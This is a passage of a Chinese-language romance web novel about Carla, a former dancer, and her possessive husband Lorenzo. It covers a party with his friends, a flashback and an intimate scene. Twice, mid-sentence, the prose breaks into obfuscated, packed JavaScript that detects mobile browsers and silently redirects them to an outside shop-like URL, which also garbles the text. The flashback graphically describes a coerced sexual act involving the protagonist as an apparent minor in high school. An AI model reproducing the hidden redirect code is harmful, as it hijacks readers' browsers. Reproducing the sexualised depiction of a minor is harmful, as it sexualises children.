“我有件东西要给你。”他终于开口,她的目光立刻不安地转向了他,并看着他将手伸进口袋里,取出了一个小巧的蓝色天鹅绒盒子。
卡拉顿时有些诧异。
在她的记忆里,他上次送她礼物还是新婚数月后,她的二十岁生日,他送给她一套十分精美的祖母绿首饰。
她当时觉得很难堪。他们都知道,她在三叶草跳舞时艺名就是埃默拉尔德(Emerald),是爱尔兰的诗意别称,也是她眼睛的颜色。祖上来自多尼戈尔那片荒凉土地的她,就这么将自己鲜艳的眼睛当作异国情调贩卖着。
所以这份礼物对她来说,可真是讽刺意味十足。
只是,她也很清楚,在他面前,她没资格为任何事感到不悦,甚至无论如何,他都为她花了这么一大笔钱,他肯定希望这笔钱能花得有价值些。于是,她露出了她的胜利微笑,尽力让自己表现出了非常惊喜的模样……
她很庆幸他后来就懒得送礼物了,每年她生日或圣诞节,都是往她私人账户大额转账,她反而觉得轻松不少。
见她只是忐忑地看着自己,脑子里又不知道在想什么,洛伦佐显得十分无奈,只能亲自将丝绒盒子打开。
而里面赫然摆着两枚戒指。
卡拉脸上的表情瞬间僵了,她认出来了,是当初被她卖了的订婚戒指与结婚戒指。
卖了一个很低很低的价。
毕竟47街那群犹太人的精明可不是浪得虚名。
她真不知道他究竟是怎么找到它们的下落的,也很好奇他为了买回它们又究竟花了多少冤枉钱……
在她持续胡思乱想时,他握住了她微微发颤的手,指尖的温度与她手指的冰凉形成对比。
她第一次注意到,他也正戴着他们的婚戒,又或者说,他可能从未摘下来过。
他的动作很慢,却带着不容置疑的坚定,将两枚戒指一一推回原处。
“不许再摘下来了。”他握紧她的手,轻声警告道。
卡拉盯着手指上失而复得的禁锢,喉咙发堵。她真想把手抽回来,把两枚该死的戒指扯下去,但最终,她还是没有试探他的底线。
之后,他们双双下了车,洛伦佐有些别扭地咳嗽了一声,正准备跟她再说什么,就被另一辆车的到来打断了。
下车的男人与洛伦佐年纪相仿,黑发黑眼,身材高大挺拔,有着南欧人特有的深邃轮廓和阳光气质。
当他笑容灿烂地大步走来,卡拉几乎立刻就对他产生了几分好感,毕竟洛伦佐总是一张死人脸,偶尔笑一声也是阴森森的冷笑。
“恩佐!真是好久不见!”男人热情地招呼着,手臂张开似乎想来个拥抱,但在洛伦佐冷淡的注视下,又自然地化为了拍拍他的肩膀。
“弗朗切斯科。”洛伦佐冷淡地点了点头,作为回应,同时,他的手不容置疑地落在了卡拉的后腰上,一个充满占有意味的姿势。
卡拉身体微僵,试图不着痕迹地挪到一边,但他掌心传来的力道温和却坚定。
“嗯?”弗朗切斯科的目光自然地转向了卡拉,眼中闪过毫不掩饰的欣赏,他俏皮地眨了眨眼,“这位迷人的女士是?”
卡拉暂时忘记了腰间那只手带来的不快,回以一个真心的微笑。
“我的妻子,凯特里奥娜。”洛伦佐简单地介绍。
闻言,弗朗切斯科不免有些惊讶,但是他很好地掩饰了这一点。
“这可真是令人遗憾。”他向卡拉伸出了手,卡拉没有多想便也伸手握住。
“事实上,我从前可一直以为恩佐估计是注定要孤独终老了呢,”他笑着向她透露,“结果谁知道呢,人不可貌相,这么个不解风情的家伙,竟然不声不响地娶到了一位女神。只是,你美丽的名字对我来说实在是有点难对付,我想那大概是盖尔语?我可以叫你凯蒂吗?”
洛伦佐没控制住皱起了眉头,忍不住在一旁强调道:“凯特里奥娜。”
可是卡拉却丝毫不在乎丈夫的情绪,笑道:“我身边的人通常叫我卡拉。”
“卡拉?”弗朗切斯科挑挑眉,十分自然地用意大利腔调念出了这个特别的名字,然后他低头亲吻了她的手背,“完美的名字,正适合居住在意大利,大家自然就会知道应当如何称呼一位你这样出众的美人。我是弗朗切斯科·卡瓦利。”
“很高兴见到你,卡瓦利先生。”
“噢,不,卡拉,这可就太客套了吧,我与你丈夫认识很多年了,我希望我也能成为你的朋友,请就叫我切科。”
“弗朗切斯科!”洛伦佐终于忍无可忍地在一旁道,“我想我们该进去了。”
弗朗切斯科就像这才发现还有个人存在一般,耸了耸肩,道:“好吧好吧,既然有个人好像不高兴了,那我就先不碍眼了,我们待会儿再聊,卡拉。”
最后一句调情一般的“卡拉”说完,他就率先跑了进去,把地方重新留给了他们。
“我认为他很有趣。”卡拉见他跑得无影无踪后,还是忍不住对丈夫道。
“他有女友。”洛伦佐忍不住提醒道,“是认真的交往,事实上他正在考虑求婚,他的调情行为没有任何意义。”
他的语气让卡拉顿时有些扫兴:“我根本就没有去想那么多复杂的东西。”
毕竟无论如何,她目前都是洛伦佐的合法妻子,她不认为这个显然与他很熟悉的人真敢造次,除非一位像他这样的老板竟然还能不懂得带眼识人。
而且,她毫不怀疑,弗朗切斯科对她根本就半点兴趣都没有,就只是单纯想逗逗他。
从他给出的反应来看,这还挺成功……
“我想你也是知道的,我几乎就不认识几个意大利男人。”卡拉继续点火道,“我很欣慰原来意大利人并不是都跟你或者尼科洛一样无聊。”
洛伦佐嘴唇动了动,正想再说什么,一个声音却忽然响起,打断了他。
“洛伦佐,我听弗朗切斯科说你已经过来了,嗯?怎么一直站在门口呢?”
卡拉抬头一看,只见一名气质沉稳的陌生男子正望着他们。
洛伦佐只能拉着卡拉进去,并顺便跟对方打了个招呼:“迈克尔。”
然后,他又介绍道:“这是我的妻子凯特里奥娜。”
“凯特里奥娜?”
男人仔细打量了她一番,惊讶地瞪大了眼睛,随后,又露出礼貌的笑容,道:“可算是见到你了,我是迈克尔·安德森。”
到了这种地步,就算是再愚蠢的人也该反应过来了。
这是一个聚会,一个朋友间的聚会。
“很高兴见到你,安德森先生。”卡拉接过男人伸出来的手,用她最甜美的胜利微笑掩饰着自己的恼怒。
她想起了之前自己的话,她从来不认识他的家人朋友,所以,现在他是正打算用这种方式来弥补或者纠正吗?在她经历了逃跑、被追回、以及所有的那些徒劳的对峙之后?
她以为她就只是跟他举个例子而已。
他的脑子里到底在想些什么啊?
于是,她又故意道:“我过去几年一直都很希望可以见到洛伦佐的朋友们,没想到现在总算是如愿了。”
“我也一直在期待这一天。”迈克尔微笑道,但卡拉可以看到,他正有些疑惑地看向明显不自在的洛伦佐,显然其中有很多不对劲的地方。
“大家都会很高兴认识你的,凯特……里奥娜。”他费力地念着她的名字,“不过,你得小心那群坏小子。”
然后,他幽默地压低声音:“他们一见到美丽的姑娘就容易忘乎所以。”
“就停止这些调情行为吧,安德森。”洛伦佐在一旁不耐烦道。
“别乱吃醋,德-米凯利。”迈克尔有些无奈,“我明明只是在表示友好。”
“没有任何人在吃醋,”洛伦佐反驳,“只有你们这些油腔滑调的家伙一直在对我妻子进行骚扰。”
“好吧,我现在总算明白你为什么要整天找借口把你美丽的妻子藏起来了。”迈克尔道,“因为你就是一个妒忌狂,你害怕我们将会带来的竞争压力。可怜的女孩,竟然就要与这个家伙共度余生了。”
洛伦佐的下颌线绷紧了:“我相信我妻子的品味一直很正常。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588889|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
卡拉感受到腰间那只手传来的热度,以及空气里逐渐升起的微妙张力。她侧过头,看向了洛伦佐线条冷硬的侧脸,绿眼睛里闪过一丝狡黠又挑衅的光,声音轻飘飘的,却足以让身边的两个男人听清:“其实我也不太确定。毕竟……”
她顿了顿,感受到洛伦佐瞬间僵直的身体。
“我十九岁就结婚了,或许,我真的因为太年轻而选错了男人也不一定呢。”
洛伦佐倏地转头瞪向她,眼神如刀。迈克尔却爆发出一阵大笑。
“天呐,我喜欢她,洛伦佐,你早该让我们认识她,她可真是棵小辣椒。”
“是的。”他声音低沉,却又奇异地混合着一丝只有她能听出的、近乎无奈的东西,“我最近也发现这一点了。”
之后,迈克尔大约是还要等其他的朋友吧,两人又说了两句话,洛伦佐直接便硬拉着卡拉进去了。
一直到卡拉确定没有人能看见他们,卡拉才猛地挣脱了他的手,道:“你这个该死的混蛋。”
洛伦佐无法理解她的忽然发火:“你是有什么问题吗?”
卡拉几乎是气笑了:“我有问题?你才是有问题!你鬼鬼祟祟、一声不吭,就是为了把我拉来见你的朋友?你让我穿得像个流□□一样跑到了一个社会精英圈里。”
“你说从没有见过我的家人朋友,”洛伦佐道,“现在可以从我的朋友开始。而且,我试图让你换衣服了。”
“在发生了这么多事情之后,你终于决定要把我拉进你的生活里了?天呐,德-米凯利先生,你难道是觉得我就是一只凶狠未驯的狗,只要扔给我一根肉骨头,我就会开始欢快地摇尾巴?”
洛伦佐的眉头蹙紧了。他站在相对安静的走廊转角,身后隐约传来客厅里模糊的谈笑声,身前是她毫不掩饰的敌意。那句质问在空气中震颤,带着一种伤人的力量。
“我从来没有那样想过。”他的声音沉了下来,试图维持冷静。
“那你究竟怎么想?我也不是你养在金丝笼里的雀鸟,让你高兴时逗一下,展示给别人看,不高兴时就锁起来,甚至……”想到这,她摇摇头,“总之,我不是!我也许确实犯了很多错,但我真的是希望可以纠正这些错误的。”
洛伦佐的眼神暗了下去,里面翻涌着她看不懂的情绪。他没有立刻反驳,只是向前逼近了一步。卡拉下意识地后退,脊背却抵住了冰冷的墙壁,无路可退。
“别再进行那些无谓的动物比喻了,凯特里奥娜。”他说着,声音压得极低,滚烫的气息几乎拂过她的唇。
“这些天来,你一直表现得就像一个幼稚的孩子,你疯狂地挥舞着玩具剑,以为自己正在战斗,但事实上,你就只是在告诉我,一直以来你都有多不安,多害怕,多需要被注意。我想,我们为什么不可以从现在开始变得坦诚一点?”
“谁需要你的注意!”卡拉咬牙切齿,“天呐,我竟以为你起码是有脑子的,你明明就很清楚,我只希望你这辈子都再也注意不到我,在外面,有成百上千的漂亮女孩愿意为了顶替我的位置而去杀人,我就只想……”
他的拇指猝不及防地按上她的嘴唇,温热而略带粗糙的触感,让她所有未出口的话语都噎在了喉间
“别说出那个词,就当为了你自己。”他的声音低沉,带着一种危险的、近乎是恳求的温柔。
“你不会希望真正激怒我的。”
空气瞬间被抽紧。他靠得太近了,近到她几乎能数清他浓密睫毛的根数,能看清他深不见底的黑眸中自己那惊慌失措的倒影。他的拇指没有移开,反而缓慢地、几乎无意识地摩挲了一下她柔软的唇瓣。
那个微小的动作让卡拉浑身一颤。一股电流般的战栗瞬间从被触碰的唇瓣窜下脊椎,在她的体内引爆一片混乱的火花。她僵在原地,连呼吸都变得轻浅急促。
洛伦佐的视线牢牢地锁住她的唇,他的头又不自禁地低下了一寸,温热的气息彻底包裹了她,世界收缩成这方寸之间。
就在这时,一个带着戏谑意味的声音突然从他们身后响起,让他们俩尴尬地立刻分开了。
“这是个聚会,伙计们,不是给你们的私人包厢。”洛伦佐的朋友眨了眨眼,“除非你们确实需要更多的私人时间,那我或许可以给你们把把风?”
卡拉的脸瞬间变得通红,而洛伦佐则气恼地皱起眉头,耸了耸肩,把手插进了口袋。
然后,他快速地、意味不明地瞥了卡拉一眼,可是卡拉立刻便愤怒地移开了视线。
11. Chapter 11
洛伦佐的朋友们以及他们的伴侣对卡拉都表现得非常友善。
大家开开心心地聚集在一起,或坐在沙发上,或直接坐在地毯上,而巨大的屏幕几乎是占了一面墙,此刻正实时转播着一场足球比赛。
空气里弥漫着香水、啤酒泡沫和食物香味混合的气息,嘈杂而热烈。
而洛伦佐的朋友们,当然了,大多是男士,正随着比赛的每一次攻防转换而惊呼、叹息、咒骂或狂喜。
看起来,还是一场比较重要的比赛。
这两个外国的球队大概都很厉害。
卡拉呆坐在同样目不转睛的洛伦佐身旁,被他亲昵地揽着肩,手里捧着一杯几乎没怎么碰过的饮料。
屏幕上,穿着不同颜色球衣的小人在绿色方框中奔跑、追逐、冲撞,时而聚作一团,时而四散开来。
解说员语气激动,语速飞快,夹杂着一些她听不懂的专业术语。每一次可能进球,某些男人——包括了最显沉稳的迈克尔——都会像少年一般握紧拳头或者懊恼地抱住头,至于那最不沉稳的弗朗切斯科,则是会激动地直起身,用飞快的意大利语说着什么。
而在一些比较沉闷的时候,男人们则会忽然开始谈论起了什么欧元走势或者其他的什么政治问题之类。
对于这些东西,卡拉更是一个字也听不懂,她只能继续死死地盯着屏幕。
她其实从来都不是那么欣赏这种带着对抗的球类运动。哪怕她的父兄多年来一直是忠实的足球迷,她也始终无法亲身体会那样的狂热。那不过就是一个皮球被踢进了网里,为何却能激起这样的情感海啸?在她眼中,那些奔跑、冲撞、以及随之而来的狂喜或者沮丧,都显得有一种近乎原始的、令人困惑的粗鲁。
她试图在这种有些手足无措的时刻再去好好发掘它的魅力,可是慢慢的,在那一片绿茫茫中,她的眼神却开始逐渐失焦。
恍惚间,眼前跃动的草坪和球衣模糊了,褪色成了另外一个时空的画面,同样是绿茵场边,但是阳光更刺眼,看台是简陋的水泥台阶,空气里是青春汗水和廉价香水混合的味道。
那是,她曾经的高中学校……
显然,对于一个在天主教堂区学校被严苛的老修女与其他女教师注视着长大的十四岁女孩来说,公立学校不论从哪个方面看,都是一个陌生得几乎是令人不安的新世界。
学校的足球队长,她至今记得他的名字叫托尼。他有着黑色的头发、棕色的眼睛与橄榄色的皮肤,一个十分阳光帅气的拉丁裔男孩,平日里的行为举止也显得很有教养。在她看来,总是满脸微笑的他可真是比那些张扬喧闹的、总以为自己就是世界中心的橄榄球男孩要强得多了。
那时候,她仍以为自己不过就是一个平平无奇的小书呆子,一个学校里的边缘人物,她做梦都没有想到,这个如此受欢迎的英俊男孩居然真的会注意到她偶尔投去的目光。
当他某一天忽然靠着储物柜叫出了她的名字,并捻着她的发丝称赞她拥有一头十分美丽的长发,那可真是让她有些受宠若惊。
于是,她这一生中第一次越过界线,就发生在学校的洗手间隔间。
当时的她本就正在为他的关注而沾沾自喜,而他的甜言蜜语听起来也确实动听,让她晕头转向,她根本就连想都没有想过要去拒绝什么。
直到一切真正发生。
在那个小隔间里,他的微笑忽然就改变了,一向都很有教养的可爱的他,开始变得像在足球场上时一般粗鲁。他急不可耐地把手伸到了她的身上,肆意地抚摸着,而他那些落在她脖子与胸口的吻则是让她发痛。她稀里糊涂地听从着他,直到最终已经跪在了脏兮兮的地板上,被他粗暴地抓着那头他曾经如此真诚地赞美过的长发……
她很快就完全无法呼吸了。在连声的干呕中,她的眼泪、鼻涕和散乱的头发糊得她满脸都是。而他对此视若无睹,仅有的几次开口,不是让她用鼻子吸气,就是不耐烦地让她把牙齿收起来。她无法理解,究竟什么叫作把牙齿收起来?她的牙齿就稳稳当当地长在那里,而且,她现在也根本就没有空间去收什么该死的牙齿了……
当他粗重的呼吸逐渐变得愈发急促,她头皮传来的痛楚也变得愈发尖锐,直到忽然间,有什么东西在她的嘴里爆发开来。天呐,那真是非常恶心,她拼了命的想要挣扎,想要逃开这所有的一切,但是他浑身颤抖着,仍然在死死地抓着她的头发。她被呛得剧烈咳嗽起来,然后,那些黏黏糊糊的东西就疯狂地从她的鼻子与嘴角处涌了出来……
她忍不住哭了,她终于回过味来。她意识到她犯了一个错误,她完全被他给利用了,她觉得自己非常肮脏,非常下贱。可是托尼,他在事后又忽然重新变得温柔了起来,他轻轻地、几乎是按摩一般地抚摸着她疼痛不已的头皮,低声称她为“好姑娘”。他说,她做得非常好,他说,他们依旧是朋友,他说,她要保守他们之间的甜蜜小秘密……
而她听了他的话,也竟然真的开始感到了一种令人羞耻的安慰,仿佛刚才的一切只要是被这样定义过,就不再那么难堪了。
后来不久,她就为托尼的一时兴起付出了代价。
他当时正在交往的女友,一个漂亮的啦啦队员,大抵是从别人那听说了什么,某日带着几个跟班便堵住了她。她们将她的脸按在水里一次又一次,然后又拿着剪刀将她唯一引以为傲的长发剪得乱七八糟。至于那个男孩,他会在乎吗?他丝毫不在乎,当他的女友质问时,他甚至是有些无奈地解释说自己怎么可能会看上她。
从那以后,她在学校变得更加沉默,更加小心翼翼,避开所有可能与这些风云人物产生交集的路线。而托尼再也没有找过她,仿佛那场短暂而带着目的性的关注从未发生。
足球场上,他依旧光芒万丈,接受着欢呼。
看台上,她把自己缩得更小……
……
“凯特里奥娜?”
洛伦佐的声音将她猛地拽回现实。
她骤然一惊,发现自己正死死地盯着屏幕,指甲深深掐进了掌心。客厅里喧闹依旧,洛伦佐侧头看着她,眉头微蹙,深邃的目光里带着一丝探究。
“你刚刚在想什么?”他问,声音压过了背景的嘈杂,清晰传入她耳中。
他的手从她肩膀移开,转而覆上她紧握的拳头,指尖触及她冰凉的皮肤和紧绷的关节。
卡拉触电般缩回手,仿佛他的触碰是滚烫的烙铁。
“没事。”她生硬地回答,声音有些沙哑,“只是……我根本看不明白。”
她胡乱找了个借口,迅速垂下眼帘,好避开他审视的目光。
“啊,又一个需要启蒙的灵魂来了。”
正在怒骂裁判眼瞎看不见犯规的弗朗切斯科听到了他们的对话,立刻又屁颠屁颠凑了过来,双手比划着,试图讲解规则。
洛伦佐却轻轻抬手,制止了朋友过分热情的布道。他的目光仍停留在卡拉的脸上,似乎捕捉到了她刚才一瞬间未能完全掩饰的、那种陷入不愉快回忆的细微痕迹。
“看不明白也没关系。”洛伦佐道,声音在周围的喧嚣中显得异常平静。
“就只是一种消遣罢了。”
“好。”卡拉道,显然不想继续对话。
而她也没力气说话。她的心脏,仍在胸腔里不规则地跳动着,自然了,不可能是因为面前如此激烈的球赛。
就只是,那种熟悉的、被物化、被当作消遣的屈辱感,哪怕已经隔着如此漫长的时光,依旧带着尖锐的刺痛。
她悄悄地吸了口气,试图平复自己紊乱的呼吸。目光则再次掠过屏幕上那依旧在厮杀着的两支球队,掠过那些为进攻欢呼、为失败扼腕的男人。
也许,在这个由男性激情所主宰的游戏里,一切从来就没有改变过呢?
只不过,当年的猎手是一个善于伪装的十七岁高中校园偶像,而现在则是身边这个将她牢牢禁锢在婚姻里的、更加危险难测的男人。
比赛终于在主裁判一声哨响中结束,几家欢喜几家愁,赢家们互相碰拳,输家则笑骂着表示不服。
之后,大家便一起到了草坪上,热热闹闹地准备着烧烤。
洛伦佐一直很关心她,甚至有些过于关心了,为此他的朋友几乎一直在拿他们打趣。她毫不怀疑,他们现在大概都觉得他过去从不把她带出来是因为对她过于保护。
至于她与其他几位女士的相处,起初因为她的心虚和隔阂还有些僵硬,但她们都很热情、很善于活跃气氛,让她渐渐放松下来。
只是,对于洛伦佐这位突然出现的神秘妻子,她们的好奇心简直要满溢出来。问题接踵而至:你们是怎么认识的?是什么让洛伦佐这个出了名的难搞先生决定步入婚姻的?你们一定有过一段浪漫至极的恋情吧?
每一个问题都像一根细针,轻轻扎在卡拉最不想触碰的真相上。
这些出身优渥、举止得体的女性,如果知道她来自怎样的泥泞,曾以何种方式谋生,又是怎样换来这桩婚姻,她们脸上友善的笑恐怕会立刻冻结。
至于过去几年她为何不在,她们倒是没有多问,洛伦佐那边貌似自有一套说法,她也没有试图打听,以免不小心暴露什么。
于是,整个聚会上,她只是运用她的全部技巧,用模糊的微笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588890|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、轻巧的避重就轻和一点点恰到好处的羞涩,将所有问题一一含糊带过,仿佛那真是一段值得珍藏的私人浪漫。
当夜色深浓,聚会终于散场了时,卡拉几乎是迫不及待地坐上了洛伦佐的车。甚至第一次,她对返回那座华丽而压抑的“家”产生了丝隐约的期待,至少,在那里没有需要她不断编织谎言的压力。
“你……觉得他们怎么样?”洛伦佐终于还是忍不住问她。
卡拉犹豫了一下,还是老老实实道:“嗯,你的朋友……很友善。”
“大家都很喜欢你。”他轻轻道,“我很后悔现在才把你介绍给他们。”
卡拉笑了一声,然后将头扭到了一边看向车窗外的风景,什么也没有说。
回到家后,她照旧是快步跑上楼,进了那间客房。
尽管洛伦佐整天惦记着要把她弄回主卧室,她也完全不打算屈服,她就是不想跟他待在一个空间。
她舒舒服服地洗了个澡,驱散了满身的疲惫,一走出来,就看到洛伦佐正坐在床上,直勾勾地看着她,差点把她给吓死。
他叹息道:“你真的很顽固,凯特里奥娜。”
“你知道这是为什么。”
卡拉一边说,一边低下头,旋即又抬了起来。
“我……我不可能轻易改变……”
他深深叹了口气,站起来,走到她面前。没有强迫,只是伸出手,指尖轻轻拂过她刚沐浴后温热湿润的脸颊。这个动作带着一种让她心慌的温柔。
“我知道。”他说,“可我是一个传统的意大利人,我不可能会考虑离婚。”
卡拉理解不了他的话。
原来这才是他坚持反对和她离婚的原因?她知道,不管在哪都总有非常保守不愿顺应时代发展的人,但是他?她以为和脱衣舞娘结婚这种事就已经非常反传统了。而且,他们又没有费时费力地举行天主教婚礼,她也根本不觉得他有什么信仰,到底要在乎那么多传统做什么?
于是,她也这么疑惑地反驳了:“不,如果你真的那么传统,你就更应该与我离婚。然后再娶一个门当户对的十八岁处女新娘,那样你们婚礼第二天还可以展示床单。”
闻言,洛伦佐顿时皱起了眉头。
“你不应该跟着他们喝那么多鸡尾酒,你现在已经开始胡言乱语了。”
“一点点酒而已,不可能灌得醉我,我是一个爱尔兰人。”她说,但她有些飘飘然的脑子明显出卖了她。
“就是,我从前看过的一些关于……意大利人的罗曼史里,都经常这么写,我还以为这才可以说是意大利传统。”
她差点就要脱口而出某些家族,以及那句十分著名的意大利语,本意是什么“我们的事业”,哪怕临时改了口,但她仍不知道一切会否太过明显……
想到这里,她脑子里的酒精终于蒸发了点,整个人也终于有了丝后怕,她立刻就以一种随意的口气继续说道:“而且无论如何,你们男人不都喜欢十八岁处女吗?你完全可以娶一个。”
洛伦佐的表情在那一瞬间凝滞了。他看起来甚至都不理解自己究竟为什么还没拂袖而去。
也许,卡拉忍不住想,他终于开始意识到了,他们还是像以前一样从不交谈更好,她就是这种胸大无脑的人。
好吧,胸其实也没那么大。
洛伦佐拒绝回答那些关于处女不处女的愚蠢问题,只是警告地看向了她:“我不清楚现在的罗曼史里到底都在写什么,意大利人也……总之,别再用那些廉价读物里的幻想来定义我。”
“我没有定义你什么。”卡拉下意识反驳,却又马上意识到了自己的心虚,声音也重新低了下去,“我不过就是,确实看了太多的罗曼史吧,当它们写到意大利人时,我很难不会联想到我身边的意大利人。”
“你应该放下所有的罗曼史,多出去走一走了。你从前一直喜欢待在外面,不到天黑不肯回来。”
“我确实是很愿意出去走走,我非常想去我哥哥家,见到格蕾丝。”卡拉道。
“可是,你唯独不同意让我回家看看,洛伦佐,你这样做真的很没意思。”
说完,她便看到洛伦佐的眉头皱得更深了,欲言又止。
“现在,还并不是时候。”他最终说。
“那什么才是时候?”卡拉忍不住问。
“也许,”他说,“当你再也不会想要提起那个词的时候,也当你真正明白你的家究竟在哪里的时候,你总是会见到格蕾丝的。”
又是条件?卡拉愤怒地望着他。永远都是条件,他也许是想就这么用她在意的一切,编织成一条精致的锁链。
12. Chapter 12
卡拉意识到自己已经不想再争论了,疲惫像潮水般漫过脚踝,淹至胸口。
她转过身,背对着他,声音闷闷的:“我累了,我要睡觉了。”
“可你的头发还是湿的。”他一边说,一边抬起手,将指尖轻轻地从她的脖颈划过去,拂过她一缕贴在颈侧的湿发,“你会感冒的。”
卡拉的身体几不可察地僵硬了一下。但或许是因为他动作中莫名的温柔与关怀,仿佛真的不带任何目的性,她只是默默地别开了脸,并未像往常那样激烈地后退或者猛地拨开他的手。
“我待会儿会弄干的。”
她只希望他现在可以立刻离开,让她单独待着。
“坐下。”他用下巴示意梳妆凳,语气平淡,却不容拒绝。
那低沉的声音带着一种奇异的魔力,或者说,是一种她尚未学会完全抵抗的权威。僵持几秒后,卡拉最终还是乖乖坐了下来,背对着他,脊背挺得笔直。
洛伦佐为她拿出吹风机插上电,温暖的风忽然从后颈袭来,伴随着他的手指伸入她湿发中的触感,卡拉浑身一颤,几乎就要从椅子上弹起来。
他的动作却很稳,一手持着风筒,保持恰好的距离,一手用梳子缓缓梳理她纠结的长发。力道适中,甚至可以说得上轻柔,耐心地分开那些缠结的发丝,暖风顺着发丝流淌,带走冰凉的水汽。
这不是她预想中的任何一种情景。没有强迫,没有冰冷的交易,没有令人窒息的对峙。只有吹风机轻轻的嗡嗡声与暖风拂过头皮的舒适感,以及他指尖偶尔擦过她耳廓或颈后皮肤时,那种难以言喻的、细微的电流。
紧绷的神经,在这单调而温暖的重复动作中,竟然一点点松懈下来。
她依然挺直着背,但肩膀的线条不再那么僵硬。镜子里,她可以看到他低垂的眉眼,神色专注,薄唇微抿,仿佛正在对待一件需要小心处理的珍贵事物。水滴从他指缝间滑落,他细致地拨开一层层头发,确保每一缕都会被暖风照顾到。
一种陌生的、近乎脆弱的感觉,悄然爬上心头。这太奇怪了。这个能眼睛都不眨地处理掉麻烦的男人,这个用婚姻和财富将她锁住的男人,此刻正在为她做着如此家常的事。
头发渐渐变得蓬松干燥,带着洗发水的淡淡花香。洛伦佐关掉了吹风机,突如其来的寂静让房间里的空气仿佛都凝固了。他没有立刻退开,手指仍然停留在她的长发中,无意识地、缓慢地梳理着。
卡拉从镜中看到他抬起眼,目光与她在镜中相遇。他的眼神很深,像静谧的夜海,没有了平日的锐利或冷漠,翻涌着某种更为复杂、更为原始的情绪。
她的呼吸不自觉地屏住了。
他慢慢放下梳子和吹风机,双手轻轻落在她的肩膀上,掌心温热,透过薄薄的浴袍面料熨帖着她的肌肤。
“看着我,凯特里奥娜。”他的声音低沉沙哑,带着一种催眠般的力量。
她的睫毛轻轻地颤动了几下,终于,她转过了头,眼眸缓缓抬起,望进了他深不见底的黑色瞳孔里。
他的拇指抚过她的下唇,力道很轻,却带着不容忽视的存在感。
“你真美。”他低语,声音近乎叹息,“即使像只竖起了全身尖刺的刺猬时,也一直都美得让我移不开眼。”
卡拉愣住了。她很清楚,自己一直都算不上多么美丽。镜子从不会撒谎,过于苍白几近透明的皮肤,高得几乎是锋利的颧骨,星星点点的雀斑。当她疲惫时,她的嘴唇会失去血色,嘴角也会微微下垂,眼下还会泛起淡淡的青影,让她整个人都像是一朵失水过久的、边缘都开始卷曲的花。
她仅有的优势,就是一双猫儿般的翠绿眼睛,一头浓密有光泽的长发,以及高挑匀称的身材,那让她在经过了精心修饰之后,竟然也颇具吸引力。
可是现在,她没有粉底遮盖瑕疵,没有睫毛膏和眼线笔勾勒神采,也没有恰到好处的腮红来营造健康的假象,那双深不见底的黑眸里映着她苍白不安的脸,里面翻涌的情绪却是她从未见过的真挚,仿佛他的话就只是在陈述一个像“天空是蓝的,草地是绿的”那样简单确凿的事实。
有那么几秒钟,在他此刻深深的目光里,她几乎以为自己甚至可以暂时去忘记一切,去假装她其实生活在童话里,所有的丑陋都是虚构的……
“在这个世界上明明有那么多人。”他仍在继续说着,声音轻得近乎耳语,“但是从来没有一个人曾经像你一样,让我感到如此困扰,如此烦躁,却也如此……无法割舍。”
他的话像是一种矛盾的坦白,将他内心那些从来不为人知的挣扎,终于稍稍地摊开了一点在她面前。
卡拉的心跳在这片寂静中显得格外清晰。她想说些什么,大概是想用一句刻薄的、轻飘飘的话把这气氛搅散,就像她一直以来做的那样。可她的嘴唇动了动,喉咙里却像是被什么东西给堵住了。
他的脸缓缓靠近,温热的呼吸再次轻柔地拂过了她的唇瓣。他们之间的距离在一点点消失,她几乎能看清他瞳孔里自己那放大的、迷茫的倒影。
这一次,没有迈克尔突然出现打断,也没有愤怒的争吵作为屏障。
“我的凯特里奥娜。”
他的气息彻底笼罩了她。它强行钻入了她的鼻腔,蛮横地试图唤醒某些早已经沉睡的、与理性无关的记忆。在那些黑暗的夜晚,在那些她从来不愿多去回想的时刻,当他埋首于她的颈间,他的呼吸仿佛也正带着同样的灼热。
警报声在她脑海深处不住地尖啸着,但她的身体却被一股更原始的力量死死钉在原地。那力量名为困惑,名为被他如此专注凝视时产生的可悲的眩晕,或许还掺杂着一丝她自己绝不愿承认的、对这份异常温柔的贪婪。
他的鼻尖轻轻地蹭过了她的。一个微小到几乎不存在的触碰,让她不禁猛地一颤,呼吸也彻底乱了节奏。
然后,他的唇,终于轻轻落了下来。
没有掠夺,没有强迫,甚至没有立刻加深。那就只是一个试探一般的、极其轻柔的触碰。干燥、温暖、柔软得不可思议。
卡拉的眼睛仍然睁得大大的,在如此近的距离下,她只能看到他紧闭的双眼,感受到他睫毛尖端那极其细微的颤动。整个世界的声音都消失了,只剩下她自己那震耳欲聋的心跳,和嘴唇上那温热柔软的、陌生的重量。
太轻了,这个吻,像是一片羽毛的坠落,像是一句来不及说出口的叹息,却比任何的粗暴都还要更具摧毁性。她构筑了那么久的墙,那些用愤怒、恐惧和疏离浇筑的坚固防御,在这轻如鸿毛的触碰之下,竟也开始从内部生出细微的、不堪一击的裂纹。
她慢慢地放松在了他的怀抱里,几乎是下意识地微微张开了唇,无声地向他邀请更多。
他显然立即便捕捉到了这个微妙的信号,却并没有就这么急不可耐地长驱直入。他的舌尖只是试探性地探入,轻柔地触碰她的,如同他们只是两只初遇的蝴蝶,正小心翼翼又充满好奇地彼此试探、交缠。
令人心碎的温柔……
